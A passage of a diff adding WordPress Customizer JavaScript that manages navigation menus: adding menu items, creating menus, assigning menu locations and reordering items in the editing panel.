+				'type_label': api.Menus.data.l10n.custom_label,
+				'object': 'custom'
+			};
+
+			this.currentMenuControl.addItemToMenu( menuItem );
+
+			// Reset the custom link form.
+			itemUrl.val( 'http://' );
+			itemName.val( '' );
+		},
+
+		/**
+		 * Submit handler for keypress (enter) on field and click on button.
+		 *
+		 * @since 4.7.0
+		 * @private
+		 *
+		 * @param {jQuery.Event} event Event.
+		 * @returns {void}
+		 */
+		_submitNew: function( event ) {
+			var container;
+
+			// Only proceed with keypress if it is Enter.
+			if ( 'keypress' === event.type && 13 !== event.which ) {
+				return;
+			}
+
+			if ( this.addingNew ) {
+				return;
+			}
+
+			container = $( event.target ).closest( '.accordion-section' );
+
+			this.submitNew( container );
+		},
+
+		/**
+		 * Creates a new object and adds an associated menu item to the menu.
+		 *
+		 * @since 4.7.0
+		 * @private
+		 *
+		 * @param {jQuery} container
+		 * @returns {void}
+		 */
+		submitNew: function( container ) {
+			var panel = this,
+				itemName = container.find( '.create-item-input' ),
+				title = itemName.val(),
+				dataContainer = container.find( '.available-menu-items-list' ),
+				itemType = dataContainer.data( 'type' ),
+				itemObject = dataContainer.data( 'object' ),
+				itemTypeLabel = dataContainer.data( 'type_label' ),
+				promise;
+
+			if ( ! this.currentMenuControl ) {
+				return;
+			}
+
+			// Only posts are supported currently.
+			if ( 'post_type' !== itemType ) {
+				return;
+			}
+
+			if ( '' === $.trim( itemName.val() ) ) {
+				itemName.addClass( 'invalid' );
+				itemName.focus();
+				return;
+			} else {
+				itemName.removeClass( 'invalid' );
+				container.find( '.accordion-section-title' ).addClass( 'loading' );
+			}
+
+			panel.addingNew = true;
+			itemName.attr( 'disabled', 'disabled' );
+			promise = api.Menus.insertAutoDraftPost( {
+				post_title: title,
+				post_type: itemObject
+			} );
+			promise.done( function( data ) {
+				var availableItem, $content, itemElement;
+				availableItem = new api.Menus.AvailableItemModel( {
+					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
+					'title': itemName.val(),
+					'type': itemType,
+					'type_label': itemTypeLabel,
+					'object': itemObject,
+					'object_id': data.post_id,
+					'url': data.url
+				} );
+
+				// Add new item to menu.
+				panel.currentMenuControl.addItemToMenu( availableItem.attributes );
+
+				// Add the new item to the list of available items.
+				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
+				$content = container.find( '.available-menu-items-list' );
+				itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
+				itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
+				$content.prepend( itemElement );
+				$content.scrollTop();
+
+				// Reset the create content form.
+				itemName.val( '' ).removeAttr( 'disabled' );
+				panel.addingNew = false;
+				container.find( '.accordion-section-title' ).removeClass( 'loading' );
+			} );
+		},
+
+		// Opens the panel.
+		open: function( menuControl ) {
+			var panel = this, close;
+
+			this.currentMenuControl = menuControl;
+
+			this.itemSectionHeight();
+
+			if ( api.section.has( 'publish_settings' ) ) {
+				api.section( 'publish_settings' ).collapse();
+			}
+
+			$( 'body' ).addClass( 'adding-menu-items' );
+
+			close = function() {
+				panel.close();
+				$( this ).off( 'click', close );
+			};
+			$( '#customize-preview' ).on( 'click', close );
+
+			// Collapse all controls.
+			_( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
+				control.collapseForm();
+			} );
+
+			this.$el.find( '.selected' ).removeClass( 'selected' );
+
+			this.$search.focus();
+		},
+
+		// Closes the panel
+		close: function( options ) {
+			options = options || {};
+
+			if ( options.returnFocus && this.currentMenuControl ) {
+				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
+			}
+
+			this.currentMenuControl = null;
+			this.selected = null;
+
+			$( 'body' ).removeClass( 'adding-menu-items' );
+			$( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );
+
+			this.$search.val( '' ).trigger( 'keyup' );
+		},
+
+		// Add a few keyboard enhancements to the panel.
+		keyboardAccessible: function( event ) {
+			var isEnter = ( 13 === event.which ),
+				isEsc = ( 27 === event.which ),
+				isBackTab = ( 9 === event.which && event.shiftKey ),
+				isSearchFocused = $( event.target ).is( this.$search );
+
+			// If enter pressed but nothing entered, don't do anything
+			if ( isEnter && ! this.$search.val() ) {
+				return;
+			}
+
+			if ( isSearchFocused && isBackTab ) {
+				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
+				event.preventDefault(); // Avoid additional back-tab.
+			} else if ( isEsc ) {
+				this.close( { returnFocus: true } );
+			}
+		}
+	});
+
+	/**
+	 * wp.customize.Menus.MenusPanel
+	 *
+	 * Customizer panel for menus. This is used only for screen options management.
+	 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Panel
+	 */
+	api.Menus.MenusPanel = api.Panel.extend({
+
+		attachEvents: function() {
+			api.Panel.prototype.attachEvents.call( this );
+
+			var panel = this,
+				panelMeta = panel.container.find( '.panel-meta' ),
+				help = panelMeta.find( '.customize-help-toggle' ),
+				content = panelMeta.find( '.customize-panel-description' ),
+				options = $( '#screen-options-wrap' ),
+				button = panelMeta.find( '.customize-screen-options-toggle' );
+			button.on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault();
+
+				// Hide description
+				if ( content.not( ':hidden' ) ) {
+					content.slideUp( 'fast' );
+					help.attr( 'aria-expanded', 'false' );
+				}
+
+				if ( 'true' === button.attr( 'aria-expanded' ) ) {
+					button.attr( 'aria-expanded', 'false' );
+					panelMeta.removeClass( 'open' );
+					panelMeta.removeClass( 'active-menu-screen-options' );
+					options.slideUp( 'fast' );
+				} else {
+					button.attr( 'aria-expanded', 'true' );
+					panelMeta.addClass( 'open' );
+					panelMeta.addClass( 'active-menu-screen-options' );
+					options.slideDown( 'fast' );
+				}
+
+				return false;
+			} );
+
+			// Help toggle
+			help.on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault();
+
+				if ( 'true' === button.attr( 'aria-expanded' ) ) {
+					button.attr( 'aria-expanded', 'false' );
+					help.attr( 'aria-expanded', 'true' );
+					panelMeta.addClass( 'open' );
+					panelMeta.removeClass( 'active-menu-screen-options' );
+					options.slideUp( 'fast' );
+					content.slideDown( 'fast' );
+				}
+			} );
+		},
+
+		/**
+		 * Update field visibility when clicking on the field toggles.
+		 */
+		ready: function() {
+			var panel = this;
+			panel.container.find( '.hide-column-tog' ).click( function() {
+				panel.saveManageColumnsState();
+			});
+
+			// Inject additional heading into the menu locations section's head container.
+			api.section( 'menu_locations', function( section ) {
+				section.headContainer.prepend(
+					wp.template( 'nav-menu-locations-header' )( api.Menus.data )
+				);
+			} );
+		},
+
+		/**
+		 * Save hidden column states.
+		 *
+		 * @since 4.3.0
+		 * @private
+		 *
+		 * @returns {void}
+		 */
+		saveManageColumnsState: _.debounce( function() {
+			var panel = this;
+			if ( panel._updateHiddenColumnsRequest ) {
+				panel._updateHiddenColumnsRequest.abort();
+			}
+
+			panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
+				hidden: panel.hidden(),
+				screenoptionnonce: $( '#screenoptionnonce' ).val(),
+				page: 'nav-menus'
+			} );
+			panel._updateHiddenColumnsRequest.always( function() {
+				panel._updateHiddenColumnsRequest = null;
+			} );
+		}, 2000 ),
+
+		/**
+		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
+		 */
+		checked: function() {},
+
+		/**
+		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
+		 */
+		unchecked: function() {},
+
+		/**
+		 * Get hidden fields.
+		 *
+		 * @since 4.3.0
+		 * @private
+		 *
+		 * @returns {Array} Fields (columns) that are hidden.
+		 */
+		hidden: function() {
+			return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
+				var id = this.id;
+				return id.substring( 0, id.length - 5 );
+			}).get().join( ',' );
+		}
+	} );
+
+	/**
+	 * wp.customize.Menus.MenuSection
+	 *
+	 * Customizer section for menus. This is used only for lazy-loading child controls.
+	 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Section
+	 */
+	api.Menus.MenuSection = api.Section.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param {String} id
+		 * @param {Object} options
+		 */
+		initialize: function( id, options ) {
+			var section = this;
+			api.Section.prototype.initialize.call( section, id, options );
+			section.deferred.initSortables = $.Deferred();
+		},
+
+		/**
+		 * Ready.
+		 */
+		ready: function() {
+			var section = this, fieldActiveToggles, handleFieldActiveToggle;
+
+			if ( 'undefined' === typeof section.params.menu_id ) {
+				throw new Error( 'params.menu_id was not defined' );
+			}
+
+			/*
+			 * Since newly created sections won't be registered in PHP, we need to prevent the
+			 * preview's sending of the activeSections to result in this control
+			 * being deactivated when the preview refreshes. So we can hook onto
+			 * the setting that has the same ID and its presence can dictate
+			 * whether the section is active.
+			 */
+			section.active.validate = function() {
+				if ( ! api.has( section.id ) ) {
+					return false;
+				}
+				return !! api( section.id ).get();
+			};
+
+			section.populateControls();
+
+			section.navMenuLocationSettings = {};
+			section.assignedLocations = new api.Value( [] );
+
+			api.each(function( setting, id ) {
+				var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
+				if ( matches ) {
+					section.navMenuLocationSettings[ matches[1] ] = setting;
+					setting.bind( function() {
+						section.refreshAssignedLocations();
+					});
+				}
+			});
+
+			section.assignedLocations.bind(function( to ) {
+				section.updateAssignedLocationsInSectionTitle( to );
+			});
+
+			section.refreshAssignedLocations();
+
+			api.bind( 'pane-contents-reflowed', function() {
+				// Skip menus that have been removed.
+				if ( ! section.contentContainer.parent().length ) {
+					return;
+				}
+				section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
+				section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+				section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+				section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+				section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+			} );
+
+			/**
+			 * Update the active field class for the content container for a given checkbox toggle.
+			 *
+			 * @this {jQuery}
+			 * @returns {void}
+			 */
+			handleFieldActiveToggle = function() {
+				var className = 'field-' + $( this ).val() + '-active';
+				section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
+			};
+			fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
+			fieldActiveToggles.each( handleFieldActiveToggle );
+			fieldActiveToggles.on( 'click', handleFieldActiveToggle );
+		},
+
+		populateControls: function() {
+			var section = this,
+				menuNameControlId,
+				menuLocationsControlId,
+				menuAutoAddControlId,
+				menuDeleteControlId,
+				menuControl,
+				menuNameControl,
+				menuLocationsControl,
+				menuAutoAddControl,
+				menuDeleteControl;
+
+			// Add the control for managing the menu name.
+			menuNameControlId = section.id + '[name]';
+			menuNameControl = api.control( menuNameControlId );
+			if ( ! menuNameControl ) {
+				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
+					type: 'nav_menu_name',
+					label: api.Menus.data.l10n.menuNameLabel,
+					section: section.id,
+					priority: 0,
+					settings: {
+						'default': section.id
+					}
+				} );
+				api.control.add( menuNameControl );
+				menuNameControl.active.set( true );
+			}
+
+			// Add the menu control.
+			menuControl = api.control( section.id );
+			if ( ! menuControl ) {
+				menuControl = new api.controlConstructor.nav_menu( section.id, {
+					type: 'nav_menu',
+					section: section.id,
+					priority: 998,
+					settings: {
+						'default': section.id
+					},
+					menu_id: section.params.menu_id
+				} );
+				api.control.add( menuControl );
+				menuControl.active.set( true );
+			}
+
+			// Add the menu locations control.
+			menuLocationsControlId = section.id + '[locations]';
+			menuLocationsControl = api.control( menuLocationsControlId );
+			if ( ! menuLocationsControl ) {
+				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
+					section: section.id,
+					priority: 999,
+					settings: {
+						'default': section.id
+					},
+					menu_id: section.params.menu_id
+				} );
+				api.control.add( menuLocationsControl.id, menuLocationsControl );
+				menuControl.active.set( true );
+			}
+
+			// Add the control for managing the menu auto_add.
+			menuAutoAddControlId = section.id + '[auto_add]';
+			menuAutoAddControl = api.control( menuAutoAddControlId );
+			if ( ! menuAutoAddControl ) {
+				menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
+					type: 'nav_menu_auto_add',
+					label: '',
+					section: section.id,
+					priority: 1000,
+					settings: {
+						'default': section.id
+					}
+				} );
+				api.control.add( menuAutoAddControl );
+				menuAutoAddControl.active.set( true );
+			}
+
+			// Add the control for deleting the menu
+			menuDeleteControlId = section.id + '[delete]';
+			menuDeleteControl = api.control( menuDeleteControlId );
+			if ( ! menuDeleteControl ) {
+				menuDeleteControl = new api.Control( menuDeleteControlId, {
+					section: section.id,
+					priority: 1001,
+					templateId: 'nav-menu-delete-button'
+				} );
+				api.control.add( menuDeleteControl.id, menuDeleteControl );
+				menuDeleteControl.active.set( true );
+				menuDeleteControl.deferred.embedded.done( function () {
+					menuDeleteControl.container.find( 'button' ).on( 'click', function() {
+						var menuId = section.params.menu_id;
+						var menuControl = api.Menus.getMenuControl( menuId );
+						menuControl.setting.set( false );
+					});
+				} );
+			}
+		},
+
+		/**
+		 *
+		 */
+		refreshAssignedLocations: function() {
+			var section = this,
+				menuTermId = section.params.menu_id,
+				currentAssignedLocations = [];
+			_.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
+				if ( setting() === menuTermId ) {
+					currentAssignedLocations.push( themeLocation );
+				}
+			});
+			section.assignedLocations.set( currentAssignedLocations );
+		},
+
+		/**
+		 * @param {Array} themeLocationSlugs Theme location slugs.
+		 */
+		updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
+			var section = this,
+				$title;
+
+			$title = section.container.find( '.accordion-section-title:first' );
+			$title.find( '.menu-in-location' ).remove();
+			_.each( themeLocationSlugs, function( themeLocationSlug ) {
+				var $label, locationName;
+				$label = $( '<span class="menu-in-location"></span>' );
+				locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
+				$label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
+				$title.append( $label );
+			});
+
+			section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );
+
+		},
+
+		onChangeExpanded: function( expanded, args ) {
+			var section = this, completeCallback;
+
+			if ( expanded ) {
+				wpNavMenu.menuList = section.contentContainer;
+				wpNavMenu.targetList = wpNavMenu.menuList;
+
+				// Add attributes needed by wpNavMenu
+				$( '#menu-to-edit' ).removeAttr( 'id' );
+				wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );
+
+				_.each( api.section( section.id ).controls(), function( control ) {
+					if ( 'nav_menu_item' === control.params.type ) {
+						control.actuallyEmbed();
+					}
+				} );
+
+				// Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
+				if ( args.completeCallback ) {
+					completeCallback = args.completeCallback;
+				}
+				args.completeCallback = function() {
+					if ( 'resolved' !== section.deferred.initSortables.state() ) {
+						wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
+						section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.
+
+						// @todo Note that wp.customize.reflowPaneContents() is debounced, so this immediate change will show a slight flicker while priorities get updated.
+						api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
+					}
+					if ( _.isFunction( completeCallback ) ) {
+						completeCallback();
+					}
+				};
+			}
+			api.Section.prototype.onChangeExpanded.call( section, expanded, args );
+		},
+
+		/**
+		 * Highlight how a user may create new menu items.
+		 *
+		 * This method reminds the user to create new menu items and how.
+		 * It's exposed this way because this class knows best which UI needs
+		 * highlighted but those expanding this section know more about why and
+		 * when the affordance should be highlighted.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		highlightNewItemButton: function() {
+			api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
+		}
+	});
+
+	/**
+	 * Create a nav menu setting and section.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {string} [name=''] Nav menu name.
+	 * @returns {wp.customize.Menus.MenuSection} Added nav menu.
+	 */
+	api.Menus.createNavMenu = function createNavMenu( name ) {
+		var customizeId, placeholderId, setting;
+		placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
+
+		customizeId = 'nav_menu[' + String( placeholderId ) + ']';
+
+		// Register the menu control setting.
+		setting = api.create( customizeId, customizeId, {}, {
+			type: 'nav_menu',
+			transport: api.Menus.data.settingTransport,
+			previewer: api.previewer
+		} );
+		setting.set( $.extend(
+			{},
+			api.Menus.data.defaultSettingValues.nav_menu,
+			{
+				name: name || ''
+			}
+		) );
+
+		/*
+		 * Add the menu section (and its controls).
+		 * Note that this will automatically create the required controls
+		 * inside via the Section's ready method.
+		 */
+		return api.section.add( new api.Menus.MenuSection( customizeId, {
+			panel: 'nav_menus',
+			title: displayNavMenuName( name ),
+			customizeAction: api.Menus.data.l10n.customizingMenus,
+			priority: 10,
+			menu_id: placeholderId
+		} ) );
+	};
+
+	/**
+	 * wp.customize.Menus.NewMenuSection
+	 *
+	 * Customizer section for new menus.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Section
+	 */
+	api.Menus.NewMenuSection = api.Section.extend({
+
+		/**
+		 * Add behaviors for the accordion section.
+		 *
+		 * @since 4.3.0
+		 */
+		attachEvents: function() {
+			var section = this,
+				container = section.container,
+				contentContainer = section.contentContainer,
+				navMenuSettingPattern = /^nav_menu\[/;
+
+			section.headContainer.find( '.accordion-section-title' ).replaceWith(
+				wp.template( 'nav-menu-create-menu-section-title' )
+			);
+
+			/*
+			 * We have to manually handle section expanded because we do not
+			 * apply the `accordion-section-title` class to this button-driven section.
+			 */
+			container.on( 'click', '.customize-add-menu-button', function() {
+				section.expand();
+			});
+
+			contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
+				if ( 13 === event.which ) { // Enter.
+					section.submit();
+				}
+			} );
+			contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
+				section.submit();
+				event.stopPropagation();
+				event.preventDefault();
+			} );
+
+			/**
+			 * Get number of non-deleted nav menus.
+			 *
+			 * @since 4.9.0
+			 * @returns {number} Count.
+			 */
+			function getNavMenuCount() {
+				var count = 0;
+				api.each( function( setting ) {
+					if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
+						count += 1;
+					}
+				} );
+				return count;
+			}
+
+			/**
+			 * Update visibility of notice to prompt users to create menus.
+			 *
+			 * @since 4.9.0
+			 * @returns {void}
+			 */
+			function updateNoticeVisibility() {
+				container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
+			}
+
+			/**
+			 * Handle setting addition.
+			 *
+			 * @since 4.9.0
+			 * @param {wp.customize.Setting} setting - Added setting.
+			 * @returns {void}
+			 */
+			function addChangeEventListener( setting ) {
+				if ( navMenuSettingPattern.test( setting.id ) ) {
+					setting.bind( updateNoticeVisibility );
+					updateNoticeVisibility();
+				}
+			}
+
+			/**
+			 * Handle setting removal.
+			 *
+			 * @since 4.9.0
+			 * @param {wp.customize.Setting} setting - Removed setting.
+			 * @returns {void}
+			 */
+			function removeChangeEventListener( setting ) {
+				if ( navMenuSettingPattern.test( setting.id ) ) {
+					setting.unbind( updateNoticeVisibility );
+					updateNoticeVisibility();
+				}
+			}
+
+			api.each( addChangeEventListener );
+			api.bind( 'add', addChangeEventListener );
+			api.bind( 'removed', removeChangeEventListener );
+			updateNoticeVisibility();
+
+			api.Section.prototype.attachEvents.apply( section, arguments );
+		},
+
+		/**
+		 * Set up the control.
+		 *
+		 * @since 4.9.0
+		 */
+		ready: function() {
+			this.populateControls();
+		},
+
+		/**
+		 * Create the controls for this section.
+		 *
+		 * @since 4.9.0
+		 */
+		populateControls: function() {
+			var section = this,
+				menuNameControlId,
+				menuLocationsControlId,
+				newMenuSubmitControlId,
+				menuNameControl,
+				menuLocationsControl,
+				newMenuSubmitControl;
+
+			menuNameControlId = section.id + '[name]';
+			menuNameControl = api.control( menuNameControlId );
+			if ( ! menuNameControl ) {
+				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
+					label: api.Menus.data.l10n.menuNameLabel,
+					description: api.Menus.data.l10n.newMenuNameDescription,
+					section: section.id,
+					priority: 0
+				} );
+				api.control.add( menuNameControl.id, menuNameControl );
+				menuNameControl.active.set( true );
+			}
+
+			menuLocationsControlId = section.id + '[locations]';
+			menuLocationsControl = api.control( menuLocationsControlId );
+			if ( ! menuLocationsControl ) {
+				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
+					section: section.id,
+					priority: 1,
+					menu_id: '',
+					isCreating: true
+				} );
+				api.control.add( menuLocationsControlId, menuLocationsControl );
+				menuLocationsControl.active.set( true );
+			}
+
+			newMenuSubmitControlId = section.id + '[submit]';
+			newMenuSubmitControl = api.control( newMenuSubmitControlId );
+			if ( !newMenuSubmitControl ) {
+				newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
+					section: section.id,
+					priority: 1,
+					templateId: 'nav-menu-submit-new-button'
+				} );
+				api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
+				newMenuSubmitControl.active.set( true );
+			}
+		},
+
+		/**
+		 * Create the new menu with name and location supplied by the user.
+		 *
+		 * @since 4.9.0
+		 */
+		submit: function() {
+			var section = this,
+				contentContainer = section.contentContainer,
+				nameInput = contentContainer.find( '.menu-name-field' ).first(),
+				name = nameInput.val(),
+				menuSection;
+
+			if ( ! name ) {
+				nameInput.addClass( 'invalid' );
+				nameInput.focus();
+				return;
+			}
+
+			menuSection = api.Menus.createNavMenu( name );
+
+			// Clear name field.
+			nameInput.val( '' );
+			nameInput.removeClass( 'invalid' );
+
+			contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
+				var checkbox = $( this ),
+				navMenuLocationSetting;
+
+				if ( checkbox.prop( 'checked' ) ) {
+					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
+					navMenuLocationSetting.set( menuSection.params.menu_id );
+
+					// Reset state for next new menu
+					checkbox.prop( 'checked', false );
+				}
+			} );
+
+			wp.a11y.speak( api.Menus.data.l10n.menuAdded );
+
+			// Focus on the new menu section.
+			menuSection.focus( {
+				completeCallback: function() {
+					menuSection.highlightNewItemButton();
+				}
+			} );
+		},
+
+		/**
+		 * Select a default location.
+		 *
+		 * This method selects a single location by default so we can support
+		 * creating a menu for a specific menu location.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
+		 * @returns {void}
+		 */
+		selectDefaultLocation: function( locationId ) {
+			var locationControl = api.control( this.id + '[locations]' ),
+				locationSelections = {};
+
+			if ( locationId !== null ) {
+				locationSelections[ locationId ] = true;
+			}
+
+			locationControl.setSelections( locationSelections );
+		}
+	});
+
+	/**
+	 * wp.customize.Menus.MenuLocationControl
+	 *
+	 * Customizer control for menu locations (rendered as a <select>).
+	 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuLocationControl = api.Control.extend({
+		initialize: function( id, options ) {
+			var control = this,
+				matches = id.match( /^nav_menu_locations\[(.+?)]/ );
+			control.themeLocation = matches[1];
+			api.Control.prototype.initialize.call( control, id, options );
+		},
+
+		ready: function() {
+			var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;
+
+			// @todo It would be better if this was added directly on the setting itself, as opposed to the control.
+			control.setting.validate = function( value ) {
+				if ( '' === value ) {
+					return 0;
+				} else {
+					return parseInt( value, 10 );
+				}
+			};
+
+			// Create and Edit menu buttons.
+			control.container.find( '.create-menu' ).on( 'click', function() {
+				var addMenuSection = api.section( 'add_menu' );
+				addMenuSection.selectDefaultLocation( this.dataset.locationId );
+				addMenuSection.focus();
+			} );
+			control.container.find( '.edit-menu' ).on( 'click', function() {
+				var menuId = control.setting();
+				api.section( 'nav_menu[' + menuId + ']' ).focus();
+			});
+			control.setting.bind( 'change', function() {
+				var menuIsSelected = 0 !== control.setting();
+				control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
+				control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
+			});
+
+			// Add/remove menus from the available options when they are added and removed.
+			api.bind( 'add', function( setting ) {
+				var option, menuId, matches = setting.id.match( navMenuIdRegex );
+				if ( ! matches || false === setting() ) {
+					return;
+				}
+				menuId = matches[1];
+				option = new Option( displayNavMenuName( setting().name ), menuId );
+				control.container.find( 'select' ).append( option );
+			});
+			api.bind( 'remove', function( setting ) {
+				var menuId, matches = setting.id.match( navMenuIdRegex );
+				if ( ! matches ) {
+					return;
+				}
+				menuId = parseInt( matches[1], 10 );
+				if ( control.setting() === menuId ) {
+					control.setting.set( '' );
+				}
+				control.container.find( 'option[value=' + menuId + ']' ).remove();
+			});
+			api.bind( 'change', function( setting ) {
+				var menuId, matches = setting.id.match( navMenuIdRegex );
+				if ( ! matches ) {
+					return;
+				}
+				menuId = parseInt( matches[1], 10 );
+				if ( false === setting() ) {
+					if ( control.setting() === menuId ) {
+						control.setting.set( '' );
+					}
+					control.container.find( 'option[value=' + menuId + ']' ).remove();
+				} else {
+					control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
+				}
+			});
+		}
+	});
+
+	/**
+	 * wp.customize.Menus.MenuItemControl
+	 *
+	 * Customizer control for menu items.
+	 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuItemControl = api.Control.extend({
+
+		/**
+		 * @inheritdoc
+		 */
+		initialize: function( id, options ) {
+			var control = this;
+			control.expanded = new api.Value( false );
+			control.expandedArgumentsQueue = [];
+			control.expanded.bind( function( expanded ) {
+				var args = control.expandedArgumentsQueue.shift();
+				args = $.extend( {}, control.defaultExpandedArguments, args );
+				control.onChangeExpanded( expanded, args );
+			});
+			api.Control.prototype.initialize.call( control, id, options );
+			control.active.validate = function() {
+				var value, section = api.section( control.section() );
+				if ( section ) {
+					value = section.active();
+				} else {
+					value = false;
+				}
+				return value;
+			};
+		},
+
+		/**
+		 * Override the embed() method to do nothing,
+		 * so that the control isn't embedded on load,
+		 * unless the containing section is already expanded.
+		 *
+		 * @since 4.3.0
+		 */
+		embed: function() {
+			var control = this,
+				sectionId = control.section(),
+				section;
+			if ( ! sectionId ) {
+				return;
+			}
+			section = api.section( sectionId );
+			if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
+				control.actuallyEmbed();
+			}
+		},
+
+		/**
+		 * This function is called in Section.onChangeExpanded() so the control
+		 * will only get embedded when the Section is first expanded.
+		 *
+		 * @since 4.3.0
+		 */
+		actuallyEmbed: function() {
+			var control = this;
+			if ( 'resolved' === control.deferred.embedded.state() ) {
+				return;
+			}
+			control.renderContent();
+			control.deferred.embedded.resolve(); // This triggers control.ready().
+		},
+
+		/**
+		 * Set up the control.
+		 */
+		ready: function() {
+			if ( 'undefined' === typeof this.params.menu_item_id ) {
+				throw new Error( 'params.menu_item_id was not defined' );
+			}
+
+			this._setupControlToggle();
+			this._setupReorderUI();
+			this._setupUpdateUI();
+			this._setupRemoveUI();
+			this._setupLinksUI();
+			this._setupTitleUI();
+		},
+
+		/**
+		 * Show/hide the settings when clicking on the menu item handle.
+		 */
+		_setupControlToggle: function() {
+			var control = this;
+
+			this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
+				e.preventDefault();
+				e.stopPropagation();
+				var menuControl = control.getMenuControl(),
+					isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
+					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
+
+				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
+					api.Menus.availableMenuItemsPanel.close();
+				}
+
+				if ( menuControl.isReordering || menuControl.isSorting ) {
+					return;
+				}
+				control.toggleForm();
+			} );
+		},
+
+		/**
+		 * Set up the menu-item-reorder-nav
+		 */
+		_setupReorderUI: function() {
+			var control = this, template, $reorderNav;
+
+			template = wp.template( 'menu-item-reorder-nav' );
+
+			// Add the menu item reordering elements to the menu item control.
+			control.container.find( '.item-controls' ).after( template );
+
+			// Handle clicks for up/down/left-right on the reorder nav.
+			$reorderNav = control.container.find( '.menu-item-reorder-nav' );
+			$reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
+				var moveBtn = $( this );
+				moveBtn.focus();
+
+				var isMoveUp = moveBtn.is( '.menus-move-up' ),
+					isMoveDown = moveBtn.is( '.menus-move-down' ),
+					isMoveLeft = moveBtn.is( '.menus-move-left' ),
+					isMoveRight = moveBtn.is( '.menus-move-right' );
+
+				if ( isMoveUp ) {
+					control.moveUp();
+				} else if ( isMoveDown ) {
+					control.moveDown();
+				} else if ( isMoveLeft ) {
+					control.moveLeft();
+				} else if ( isMoveRight ) {
+					control.moveRight();
+				}
+
+				moveBtn.focus(); // Re-focus after the container was moved.
+			} );
+		},
+
+		/**
+		 * Set up event handlers for menu item updating.
+		 */
